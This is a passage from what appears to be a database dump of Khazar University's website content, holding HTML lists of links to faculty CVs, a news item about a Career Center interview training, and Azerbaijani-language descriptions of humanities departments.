href=\"http://www.khazar.org/files/MAIL_YAQUBOV.pdf\">Mail Yagubov </a> <br></p><p><a href=\"http://www.khazar.org/files/Mahammad_Nurmammadov.pdf\">Mahammad Nurmammadov </a> <br></p><p><a href=\"http://www.khazar.org/files/FARAH%20ADIG%23U00d6Z%23U018fLOV.pdf\">Farah Adigozalova </a> <br></p><p><a href=\"http://www.khazar.org/files/LEMAN%20VERDIYEVA.pdf\">Laman Verdiyeva</a>  <br></p><p><a href=\"http://www.khazar.org/files/K%23U0259mal%23U0259%20%23U018fliyeva%20(1).pdf\">Kamala Aliyeva</a>  <br></p><p><a href=\"http://www.khazar.org/files/CV_IradaKhalilova.pdf\">Irada Khalilova </a> <br></p><p><a href=\"http://www.khazar.org/files/CV%20AIDA%20XANIM.pdf\">Aida Nabiyeva </a> <br></p><p><a href=\"http://www.khazar.org/files/ROYA%20MIRZEYEVAcee.pdf\">Roya Mirzayeva </a> <br></p><p><a href=\"http://www.khazar.org/files/MELEK%20KERIMOVA%2011.pdf\">Malak Karimova</a>  <br></p><p><a href=\"http://www.khazar.org/files/T.%20Javadzade%20CV%2012.pdf\">Tahmasib Javadzada </a> <br></p><p><a href=\"http://www.khazar.org/files/ORXAN%20FERECLI.pdf\">Orkhan Faraj </a> <br></p><embed src=\"/files/social/foto/15_10_14_CV.jpg\" style=\"background:undefined\" href=\"http://www.khazar.org/files/pdf/Parvana_Bakhshaliyeva_CV.pdf\" type=\"application/x-shockwave-flash\">\"&gt;<a href=\"http://www.khazar.org/files/pdf/cv-Khudaverdi_Mammadov.pdf\">Khudaverdi Mammadov&nbsp;</a><br><p><a href=\"http://www.khazar.org/files/pdf/Ikram_Rustemov_cv.pdf\">Ikram Rustamov</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/JAB%23U0130R%20M%23U018fMM%23U018fDLI%20CV.pdf\">Jabir Mammadli</a>  <br></p><p><a href=\"http://www.khazar.org/files/pdf/Rafi%20Gurbanov%20.pdf\">Rafi Gurbanov </a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/ASMAR_YUSIFZADE%20CV.pdf\">Asmar Yusifzade </a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/Kamil_Sharifov_CV.pdf\">Kamil Sharifov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Zivar_Huseynova_CV.pdf\">Zivar Huseynli </a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/Elnura_Azizova%20CV.pdf\">Elnura Azizova</a>  <br></p><p><a href=\"http://www.khazar.org/files/pdf/GunelMammadovaCV.pdf\">Gunel Mammadova</a>  <br></p><p><a href=\"http://www.khazar.org/files/pdf/Aysel_Novruzova_cv.pdf\">Aysel Novruzova</a>  <br></p><p><a href=\"http://www.khazar.org/files/pdf/Sabina_Minasazova_CV.pdf\">Sabina Minasazova</a>  <br></p><p><a href=\"http://www.khazar.org/files/pdf/Telman_Aliyev_CV.pdf\">Telman Aliyev</a>  <br></p><p><a href=\"http://www.khazar.org/files/pdf/Zulfiyya-Sadigova%20CV.pdf\">Zulfiyya Sadigova </a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/Afaq_Kerimova_CV.pdf\">Afag Karimova </a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/Kenan_Allahverdiyev_CV.pdf\">Kanan Allahverdiyev</a>  <br></p><p><a href=\"http://www.khazar.org/files/pdf/ELSEVER%20MAMMADOV_CV.pdf\">Elsever Mammadov</a>  <br></p><p><a href=\"http://www.khazar.org/files/pdf/Mahammad_Muradov%20CV.pdf\">Mahammad Muradov </a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/Murad_Nasibov%20CV.pdf\">Murad Nasibov</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Baba_Bayramli_CV.pdf\">Baba&nbsp;Bayramov</a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/BaxtIyar_Aslanov%20cv.pdf\">Bakhtiyar Aslanov</a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/Azad_Garibov_CV.pdf\">Azad Garibov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Elvin%20Yusifli%20cv.pdf\">Elvin Yusifli</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Gunay_Bayramova_CV.pdf\">Gunay Bayramova</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Mukhtar%20Hacizade_CV.pdf\">Mukhtar Hajizada&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/ARIZ%20HUSEYNOV%20CV.pdf\">Ariz Huseynov</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/AKiF_ALiZADE%20cv.pdf\">Akif Alizade</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/JABIR%20KHALILOV%20CV.pdf\">Jabir Khalilov</a> &nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Zeynab_Muradkhanli.pdf\">Zeynab Muradkhanli </a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Parvana_Bakhshaliyeva_CV.pdf\">Parvana Bakshaliyeva&nbsp;</a>&nbsp;<br></p><p><br></p>'),(410,209,'az','Fakültə müəllimlərinin CV-ləri','Fakültə müəllimlərinin CV-ləri','<div><br></div><div><p>&nbsp;</p><p><img src=\"http://www.khazar.org/files/social/foto/15_10_14_CV.jpg\" style=\"border:0px #000000;width:450px;height:445px;margin:7px;float:left;vertical-align:middle\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/Kamala_Asgerova_CV_europass.pdf\">Kamala Askerova</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/files/Minara_Farzaliyeva_CV%202.pdf\">Minara Farzaliyeva</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/files/Firangiz_Nasirova_CV.pdf\">Firangiz Nasirova</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/CV_Arzu_Mikayilzade%20(2).pdf\">Arzu Mikayilzada</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Jamala_Mammadova%20(2).pdf\">Jamala Mammadova</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Milana_Abasova_CVNEW%20(2).pdf\">Milana Abbasova&nbsp;</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Zamira_Gurbanova_CV%20(3).pdf\">Zamira Veliyeva&nbsp;</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Irina%20Orujova.doc\">Irina Orujova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Naile_Gasimova_CV%20(2).pdf\">Naila Gasimova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Leyla%20Salayeva-CV%20(1)%20(1).pdf\">Leyla Salayeva&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/LIDIA_MATVEEVNA%20(2).pdf\">Lidia Gamidova&nbsp;</a><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/CV_Gulnur_Miriyeva.pdf\">Gulnur Miriyeva</a>&nbsp;<br></p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva-CV.pdf\">Sevinc Ağayeva&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/Khatire_Beshirli_CV-1%20(1).pdf\">Khatira Bashirli&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/Dilbar_Zeynalova__CV%20(1).pdf\">Dilbar Zeynalova&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/ROZA%20ARAZOVA%20CV.pdf\">Roza Arazova&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/MAIL_YAQUBOV.pdf\">Mail Yagubov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/Mahammad_Nurmammadov.pdf\">Mahammad Nurmammadov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/FARAH%20ADIG%23U00d6Z%23U018fLOV.pdf\">Farah Adigozalova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/LEMAN%20VERDIYEVA.pdf\">Laman Verdiyeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/K%23U0259mal%23U0259%20%23U018fliyeva%20(1).pdf\">Kamala Aliyeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/CV_IradaKhalilova.pdf\">Irada Khalilova&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/ROYA%20MIRZEYEVAcee.pdf\">Roya Mirzayeva&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/MELEK%20KERIMOVA%2011.pdf\">Malak Karimova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/T.%20Javadzade%20CV%2012.pdf\">Tahmasib Javadzada&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/ORXAN%20FERECLI.pdf\">Orkhan Faraj&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/JAB%23U0130R%20M%23U018fMM%23U018fDLI%20CV.pdf\">Jabir Mammadli</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Rafi%20Gurbanov%20.pdf\">Rafi Gurbanov&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/ASMAR_YUSIFZADE%20CV.pdf\">Asmar Yusifzade&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Zivar_Huseynova_CV.pdf\">Zivar Huseynli&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Elnura_Azizova%20CV.pdf\">Elnura Azizova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Aysel_Novruzova_cv.pdf\">Aysel Novruzova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Sabina_Minasazova_CV.pdf\">Sabina&nbsp;Minasazova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Telman_Aliyev_CV.pdf\">Telman Aliyev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Zulfiyya-Sadigova%20CV.pdf\">Zulfiyya Sadigova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Afaq_Kerimova_CV.pdf\">Afag Karimova&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/pdf/Kenan_Allahverdiyev_CV.pdf\">Kanan Allahverdiyev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/ELSEVER%20MAMMADOV_CV.pdf\">Elsever&nbsp;Mammadov</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Mahammad_Muradov%20CV.pdf\">Mahammad Muradov&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/Baba_Bayramli_CV.pdf\">Baba&nbsp;Bayramov</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Mukhtar%20Hacizade_CV.pdf\">Mukhtar Hajizada&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/pdf/AKiF_ALiZADE%20cv.pdf\">Akif Alizade</a>&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/JABIR%20KHALILOV%20CV.pdf\">Jabir Khalilov</a>&nbsp;&nbsp;&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Zeynab_Muradkhanli.pdf\">Zeynab Muradkhanli&nbsp;</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Parvana_Bakhshaliyeva_CV.pdf\">Parvana Bakshaliyeva&nbsp;</a>&nbsp;</p><br></div>'),(2337,1420,'en','Career Center Interview Training ','On October 13, 2016, the Khazar University Career Center held a training for students and graduates about job interviews...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nOctober 13, 2016, the Khazar University Career Center held a training for\r\nstudents and graduates about job interviews. Participants in the training\r\nincluded students and alumi from various schools of the university. The\r\ntraining was organized by Ulviyya Huseynova, Career Development Coordinator.\r\nTopics covered in the event included participation in interviews, sample\r\ninterview questions, how to sit, how to speak with interviewers, and how to\r\ncorrectly use facial expressions and gestures. Each participant gave a mock\r\ninterview with video and audio recording and was given individual feedback. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">At\r\nthe end of the training, participants’ questions were answered.&nbsp;</p>'),(411,203,'az','Departamentlər','Departamentlər','<h3><strong style=\"text-align:justify;color:#660066\"><a href=\"http://www.khazar.org/az/menus/127/english_language_and_literature\">İngilis dili və&nbsp;Ədəbiyyatı departamenti</a></strong></h3><p style=\"text-align:justify\">İngilis dili və Ədəbiyyatı departamenti 1992-ci ildə yaradılmışdır. Hal-hazırda Xəzər Universitetində ən böyük departamentdir. Departamentdə Azərbaycandan və xarici ölkələrdən olan yüksək ixtisaslı mütəxəssislər çalışır.</p><p>Departamentin vəzifəsi:</p><p style=\"text-align:justify\">İngilis dili və Ədəbiyyatı Departamentinin əsas vəzifəsi İngilis dilini dərindən öyrənməyi və onu cəmiyyətin bugünki tələblərinə əsasən tətbiq etməyi tələbələrə təlqin etməkdir. Departament tələbələrə İngilis dilinin tədrisi, Dilşünaslıq, tərcümə və Ədəbiyyatşünaslı sahələri üzrə təməl və əsaslə biliklər verir. Departament Xəzər Universitetində bütün fakültələrdə fəaliyyət göstərir. Departamentin proqramları tələbələrə İngilis dilində yüksək səviyyəyə qədər dili biliklərini inkişaf etdirməyə kömək edir. Departament bakalavr və magistr dərəcələri üçün proqramlar təmin edir. Bakalavr səviyyəsində tələbələr İngilis dili və ədəbiyyatını əsaslı öyrənməklə yanaşı ingilisdilli ölkələrin mədəniyyəti haqqında da geniş məlumat alırlar. Tələbələr İngilis dili və ədəbiyyatı, tərcümə, İngilis dili müəllimliyi ixtisasları üzrə praktik və nəzəri biliklərə malik olurlar.&nbsp; Bu biliklər onları yüksək səviyyəli İngilis dili tələb olunan gələcək akademik tədris və iş imkanlarına hazırlayır.&nbsp; Departament nəzəri biliklərlə yanaşı tələbələrə geniş təcrübə imkanları da yaradır. Bakalavr dərəcəsini bitirmiş tələbələr əmək bazarında dil bacarıqlarının üstünlüyünə görə seçilirlər.Magistr dərəcəsi Tərcümə, Ümimi və tətbiqi dilçilik və Ədəbiyyatşünaslıq kimi sahələri əhatə edir. Burada magistrlara tədris olunan fənlər İngilis dilinin yüksək səviyyəsindədir. Bundan əlavə tələbələr tədqiqatın ilkin mərhələləri, tədqiqat işinin yazırlması, akademik yazı bacarıqları kimi biliklərə yiyələnir və öz sahələri üzrə mütəxəssis&nbsp; kimi təhsil alırlar. Magist dərəcəsini bitirmiş tələbələr respublikanın qabaqcıl ali təhsil müəssisələrində əmək fəaliyyətinə başlayırlar.Son bir ildə Departamentin nəzdində German dilləri üzrə PhD pilləsində tədris aparılır. Burada tələbələr German dilləri üzrə mütəxəssis kimi yetişirlər. Bundan əlavə hər bir tələbyə elmi işin yazılması üçün xarici ölkələrdən cəlb olunmuş mütəxəssislər rəhbərlik edirlər. PhD pilləsini başa vuran tələbələr öndə gedən ali məktəblərdə və xarici ölkələrdə ixtisaslarına uyğun işlə təmin olunmaqda çətinliklə üzləşmirlər.</p>  <p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_english.png\" style=\"width:400px;height:104px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><h3><strong style=\"color:#330066\"><a href=\"http://www.khazar.org/az/menus/130/history_and_archaeology\">Tarix və Arxeologiya departamenti</a></strong></h3><p style=\"text-align:justify\"><strong style=\"color:#330066\"></strong>Tarixin öyrənilməsi bir çox suallara söykənir ki, bəşəriyyətin yaradılması, cəmiyyətin inkişaf etməsi, keçmişimiz, bu günümüz, mədəniyyətimiz öyrənilməsi ilə təhsilin inkişaf etdirilməsidir.&nbsp;Tarix və Arxeologiya departamenti də yüksək təhsil standartlarını təmin edir. Departamentin məqsədi tələbələri insanların yaranması və inkişafı haqqında biliklə təmin etmək, onların bacarığını inkişaf etdirmək, tədqiqatlara rəhbərlik edib və onları analiz etmək və əsas nəticəni göstərməkdir. Departamentin əsas məqsədi tələbələrdə tədqiqat işlərinin inkişaf və analiz etdirilməsi və tarixi üsullarlardan istifadə etməklə dəqiq nəticə əldə edilməsidir.Bizim əsas missiyalarımızdan biri də bəşəriyyətin keçmişi haqqında biliklərin qorunması və inkişaf etdirilməsidir.&nbsp;2010-cu ildə Təhsil fakultəsi və Tarix və Arxeologiya departamentində yeni – Tarix və coğrafiya ixtisası açıldı. Təcrübə (interna) proqramın əsas hissəsinə daxildir və tələbələrə “Dünya məktəbi”ndə və digər məktəblərdə praktika və interna keçmək üçün şərait yaradılır.&nbsp;Departamentin müəllim-professor heyəti də tələbələrə tarix elmini yüksək dərəcədə mənimsəməsinə kömək edir.Bu məqsədi yerinə yetirmək üçün bütün fənnlər üzrə müzakirələr aparırıq və tələbələrə proqramı izah edirik.Departament dünya sivilizasiyaları tarixinin esas fənnini təqdim edir və bu kursa qədim və orta əsrlər tarixi, Asiya, Afrika, Amerika mədəniyyəti tarixi və həmçinin arxeologiya, etnologiya, antropologiya fənnləri daxildir və burada nisbətən tarixi problemlər də müzakirə olunur. Universitetin tələblərinə uyğun olaraq departament Azərbaycanın Milli tarixi-mədəniyyəti və inkişafı ilə bağlı fənnlər təşkil edir.&nbsp;Departament fənnin tədrisi zamanı vizual vasitələrdən, tarixi xəritələrdən, video materiallardan və digər vasitələrdən istifadə edir. Departamentin xüsusi kitabxanası qiymətli tarixi materiallarla zəngindir. Tədris&nbsp;prosesi zamanı departament tələbələrin marağını qoruyur, onları kreativ və müstəqil işlərə cəlb edir. Tələbələr müxtəlif presentasiyalar hazırlayır, esselər yazır və departament tərəfindən aparılan elmi seminarlarda və konfranslarda aktiv iştirak edir.&nbsp;Departamentin həmçinin, dövlət arxivi ilə, müxtəlif institutlar ilə və tarix muzeyləri güclü əlaqəsi var. Universitetin tələbələri isə ən çox Azərbaycanın müxtəlif bölgələrində olan tarixi yerləri gəzməyi çox sevirlər. <strong style=\"color:#330066\"><br></strong></p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_history.PNG\" style=\"width:472px;height:250px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\"><br></p><h3><strong style=\"color:#330066\"><a href=\"http://www.khazar.org/az/menus/137/philosophy_and_sociology\">Fəlsəfə və Sosiologiya departamenti</a></strong></h3><p style=\"text-align:justify\"><strong style=\"color:#330066\"></strong>Departament müxtəlif humanitar və sosial elm sahələrinin tədrisi və tədqiqini nəzərdə tutan çoxfənnli (multidissiplinar) akademik vahid kimi 1992-ci ildə yaradılmışdır. Hal-hazırda departamentin əsas akademik sahələri və tədqiqat fəaliyyətləri üç istiqamətdə qruplaşdırılır:</p><br><ul><li>Fəlsəfə (buraya aşağıdakı fənnlər daxildir: fəlsəfə tarixi, din fəlsəfəsi, siyasət fəlsəfəsi, fəlsəfə və ədəbiyyat münasibətləri, fəlsəfə və linqvistika)</li><li>Digər sosial və humanitar elm sahələri (sənətlərin və mədəniyyətin öyrənilməsi, sosial və kultural antropologiya)</li></ul><br><p style=\"text-align:justify\">Departament tərəfindən universitetin bütün fakültərində ümumtəhsil tələblərə müvafiq olaraq fakültativ proqramlar formasında müxtəlif kurslar təklif və tədris edilir. Departamentin Humanitar və sosial elmlər, İqtisadiyyat və menecment, Təhsil və Mühəndislik fakültələrinə təklif etdiyi fənnlərə bakalavr və magistr proqramları üçün tələb olunan ixtisas, ixtisasa yaxın və ixtisasla az əlaqəli kurslar daxildir.&nbsp;Departamentin fakültələrində ailmlərin əsaslı təcrübi təlimləri və müxtəlif tədqiqat maraqları təşkil edilir. Bütün fakültə üzvləri öz sahələrinə uyğun güclü akademik savada malikdirlər və geniş nəşr edilirlər. Xarici ölkələrdən dəvət edilmiş tanınmış professorlar universitetin fakültələrində müqavilə əsasında işləyirlər.&nbsp;Departamentin bakalavr, magistr və Ph.D. dərəcələri üzrə fənnlərarası ixtisas proqramları mövcuddur.&nbsp;</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_Philosophy.jpg\" style=\"border:0px  #000000;width:400px;height:133px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\"><br></p><h3> <strong style=\"color:#330066\"><a href=\"http://www.khazar.org/az/menus/139/psychology\">Psixologiya departamenti</a></strong></h3><p style=\"text-align:justify\">Dünyada baş verən sürətli dəyişiklik və inkişafın&nbsp;müsbət təsirləri ilə yanaşı,&nbsp;insanlar üzərində mənfi təsirləri də qaçılmazdır.&nbsp;İnsanlar psixoloji, fizioloji, sosial yöndən çətinliklərlə üzləşir və çox vaxt&nbsp;peşəkar&nbsp;psixoloqa&nbsp;ehtiyac hiss edirlər. Psixoloqlar zəka, təfəkkür, təxəyyül, motivasiya, emosiya və s.kimi sahələri öyrənir. Psixoloqlar gündəlik həyatda insan davranışları ilə əlaqədar problemləri həll etmə yollarını axtarır və bu problemlərin həlli üçün insanlara&nbsp;kömək edirlər. İnsanların problemlərinin böyük əksəriyyəti, tibbi deyil, psixoloji xarakter daşıyır. Dünyada psixoloqlara ehtiyac gündən-günə artmaqdadır.&nbsp;<strong style=\"color:#330066\"></strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Xəzər Psixologiya&nbsp;departamenti 2010-cu ildə yaranıb.&nbsp;Proqram psixologiyanın nəzəriyyəsini və praktikasını birləşdirir və bu sahədə uğurlu karyera qurmaq üçün zəruri olan fərdi və qrup psixoloji məsləhət texnikalarını öyrədir.&nbsp;</p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><em><strong>Niyə Xəzərdə Psixologiya ixtisası?!</strong>&nbsp;</em></p><ul><li>İngilis dilində keyfiyyətli təhsil&nbsp;</li><li>Dünyanın qabaqcıl ali məktəblərinin təcrübələrinə əsaslanan tədris proqramı</li><li>Məzunların təhsilini xaricdə davam etdirmə imkanı</li><li>Azərbaycanda təhsil almış yüksək səviyyəli mütəxəssislərlə yanaşı,xaricdə təhsil almış ixtisaslı müəllim heyəti</li><li>Klinikalarda və xəstəxanalarda təcrübə imkanı</li><li>Xəzər Psixoloji Xidmət Mərkəzində peşəkar&nbsp;inkişaf üçün mütəmadi seminar, kurslar, konfranslarda iştirak imkanı&nbsp;</li></ul><p>Psixologiya elmi sahəsində baş verən son nailiyyətlər, beynəlxalq&nbsp;təcrübənin öyrənilməsi məqsədi ilə&nbsp;ilk dəfə və davamlı olaraq universitetimizdə keçirilən Azərbaycan Psixologiya Konfransı respublikada böyük rəğbət doğurmaqdadır. Xəzərli tələbə üçün bu konfransa ev sahibliyi etmək böyük qürurdur.</p><p><em><strong>Bu peşə kimlər üçün uyğundur?</strong></em></p><ul><li>Düşüncələrini&nbsp;yazılı və sözlü ifadə edə bilən&nbsp;<br></li><li>Analitik düşüncə qabiliyyəti olan insanlar<br></li><li>Yaradıcı<br></li><li>Səbirli<br></li><li>Təmkinli</li><li>Dinləməyi sevən</li><li>Ünsiyyət qurmağı bacaran insalar</li></ul><p><strong><em>Karyera perspektivləri:&nbsp;</em></strong></p><ul><li>xəstəxanalar&nbsp;</li><li>poliklinikalar&nbsp;<br></li><li>uşaq evləri&nbsp;<br></li><li>təhsil müəssisələri&nbsp;<br></li><li>psixoloji xidmət mərkəzləri&nbsp;<br></li><li>yaşlılar evi&nbsp;<br></li><li>sənaye sahələri&nbsp;</li></ul><p>Psixoloqlar ixtisaslaşacaqları sahədən asılı olaraq klinik psixoloq, uşaq psixoloqu, ailə psixoloqu və s. kimi&nbsp;də fəaliyyət göstərə bilərlər.</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_psychologyy.PNG\" style=\"width:400px;height:317px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\"><br></p><h3><strong style=\"color:#330066\"><a href=\"http://www.khazar.org/az/menus/131/journalism\">Jurnalistika departamenti</a></strong></h3><p style=\"text-align:justify\">Jurnalistikanın departamentinin əsas məqsədi tələbələri ağıllı, məsuliyyətli və savadlı jurnalistlər kimi hazırlamaqdır. Departament ən yaxşı jurnalistika təhsilinin hərtərəfi təhsil vasitəsilə humanitar və dəqiq elmlərin peşəkar proqramda birləşdirilməsinə inanır.&nbsp;Departament inanır ki, belə təhsil tələbələrə insanların fərqli şəraitdə və ya keçmişlərindəki əhvalatlarını dinləməyə, anlamağa və danışmağa kömək edir.Departament Humanitar və sosial elmlər fakültəsinin tərkibində xüsusi mövqe tutur. Bu departamentin əsas vəzifəsi tələbələri uyğun karyera üçün hazırlamaqdır.Departament digər departamentlərdəki həmkarlarının elmi-tədqiqat, tədris və xidmətlərini qiymətləndirir. Bu, həm departamentin özünü, həm də onların bizim tələbələrimizə verdikləri pedaqoji dərinliyi dəyərləndirir.Biz bu fikrə sadiq qalırıq ki, bizim mütəxəssislərimizin dünyanı anlamaq üçün humanitar sahədə güclü elmi bilgiləri və onları çatdırmaq üçün güclü jurnalistika bilgiləri olmalıdır.Departament öz tələbələrini digər sahələri dərindən öyrənməyə və fakültənin digər departamentlərindən ikinci ixtisası tamamlamağa həvəsləndirir.&nbsp;Həmçinin, departament digər departamentlərdəki tələbələri onların təhsil və karyera imkanlarını artırmaq üçün ikinci ixtisas kimi jurnalistika təhsili almağa təşviq edir. Departament, eyni zamanda, onların yazı, müsahibə və araşdırma bacarıqlarını yaxşılaşdırmaq və ya KİV haqqında bilik əldə etmək üçün müraciət edən qeyri-ixtisas tələbələrinə də öz töhfəsini verir.&nbsp;</p><p style=\"text-align:justify\">Missiyası:&nbsp;</p><p style=\"text-align:justify\">Jurnalistika departamenti azad və müstəqil media və kommunikasiya mühiti yaratmağı nəzərdə tutur:&nbsp;</p><ul><li>tənqidi, sayıq və proflaktik;</li><li>milli;</li><li>səlahiyyətli və transformasiya olunan;</li><li>plüralist və hamı üçün;</li><li>cinsi düzgünlüyü, ekoloji ahənginin müdafiəsini, sosial ədaləti və sülhü təbliğ edən.</li></ul><p style=\"text-align:left\">Departamenti aşağıdakı keyfiyyətlərlə səciyyələndirilən peşəkar jurnalistlər yetişdirməyi öz öhdəsinə götürür:</p><ul><li>ali düşüncə qabiliyyətinin inkişafı üçün imkanlar;</li><li>sosial məsuliyyət;</li><li>incəsənət və mədəniyyətə həvəs;</li><li>dəyərli və parlaq mənəviyyat;</li><li>texnologiya və başqa resurslardan məsuliyyətli istifadə;</li><li>insan cəmiyyətinə, xüsusilə uşaq və qadınların hüquqlarına hörmət.</li></ul><p style=\"text-align:justify\">Departament milli və dünyəvi dəyərlər, elmi inkişaf, ictimai fəaliyyət və sosial məsuliyyət üzərində qurulan media və kommunikasiya proqramı təklif edərək, ölkənin aparıcı qurumunun formalaşmasını və Azərbaycanda media və kommunikasiya praktiklərinin təhsilini öz üzərinə götürür.</p><p>Gözləntiləri:</p><p>Jurnalistika departamenti tələbələri, məzunları, media və kommunikasiya praktiklərini belə görür:</p><ul><li>yetkin, təcrübəli və yaradıcı;</li><li>son dərəcə məsuliyyətli;</li><li>səlahiyyətli və səlahiyyət verən;</li><li>sosial dəyişilməyə vurğun agentlər;</li><li>gender bərabərliyinin, ekoloji ahəngin, sosial ədalətin və sülhün dönməz müdafiəçiləri.</li></ul><p style=\"text-align:justify\">Ümumi&nbsp;məqsədləri:</p><p style=\"text-align:justify\">Jurnalistika proqramının məqsədi media və kommunikasiyanın bu sahələrinin: yazı, istehsalat və tədqiqatın nəzəri və praktik aspektlərini öyrənən tələbənin öyrənməsini asanlaşdırmaqdır.</p><p style=\"text-align:justify\">Xüsusi&nbsp;məqsədləri:</p><p style=\"text-align:justify\">Xüsusi olaraq, jurnalistika proqramı öz tələbələrinin aşağıdakı qabiliyyətlərini inkişaf etdirmək məqsədi daşıyır:</p><p>1.&nbsp;Yazı kursları vasitəsilə ustalıq və təfəkkür;</p><p>2.&nbsp;İstehsalat vasitəsilə texniki bacarıqlar və yaradıcılıq;</p><p>3.&nbsp;Elmi-tədqiqat işləri vasitəsilə nizam-intizam, təhqiqatçı bacarıqları və tənqidi mühakimə;</p><p>4.&nbsp;Öz peşəkar və şəxsi həyatlarında dərin sosial məsuliyyət, gender və uşaq həssaslığı, ətraf mühitə və təbiətə məhəbəbbət hissi.&nbsp;</p><p><img src=\"http://www.khazar.org/files/social/foto/15_10_13_journalismm.gif\" style=\"width:400px;height:218px\"><br></p><p><br></p><p><br></p><h3><a href=\"http://www.khazar.org/az/menus/124/languages_and_cultures_\">Dillər və Mədəniyyətlər departamenti</a></h3><p style=\"text-align:justify\">Dillər və mədəniyyətlər departamenti 2015-cil may ayının 1-də Şərq Dilləri və Dini Araşdırmalar departamenti və Müasir Dillər və Müqayisəli Ədəbiyyat departamentinin əsasında yaradılmışdır. Dillər və mədəniyyətlər departmenti dünya dilləri və mədəniyyətlərini öyrənmə imkanı yaradır. Department alman, fransız, ispan, italyan, rus və digər Qərb dilləri o cümlədən çin, koreya, türk, ərəb, fars, ivri və urdu kimi Şərq dillərinin tədrisini həyata keçirir. Department həmçinin Şərq və Qərbin qədim və müasir mədəniyyətlərinin tədris və tədqiqi ilə məşğul olur.</p><p>Departamentin əsas hədəfləri aşağıdakılardır:</p><ul><li 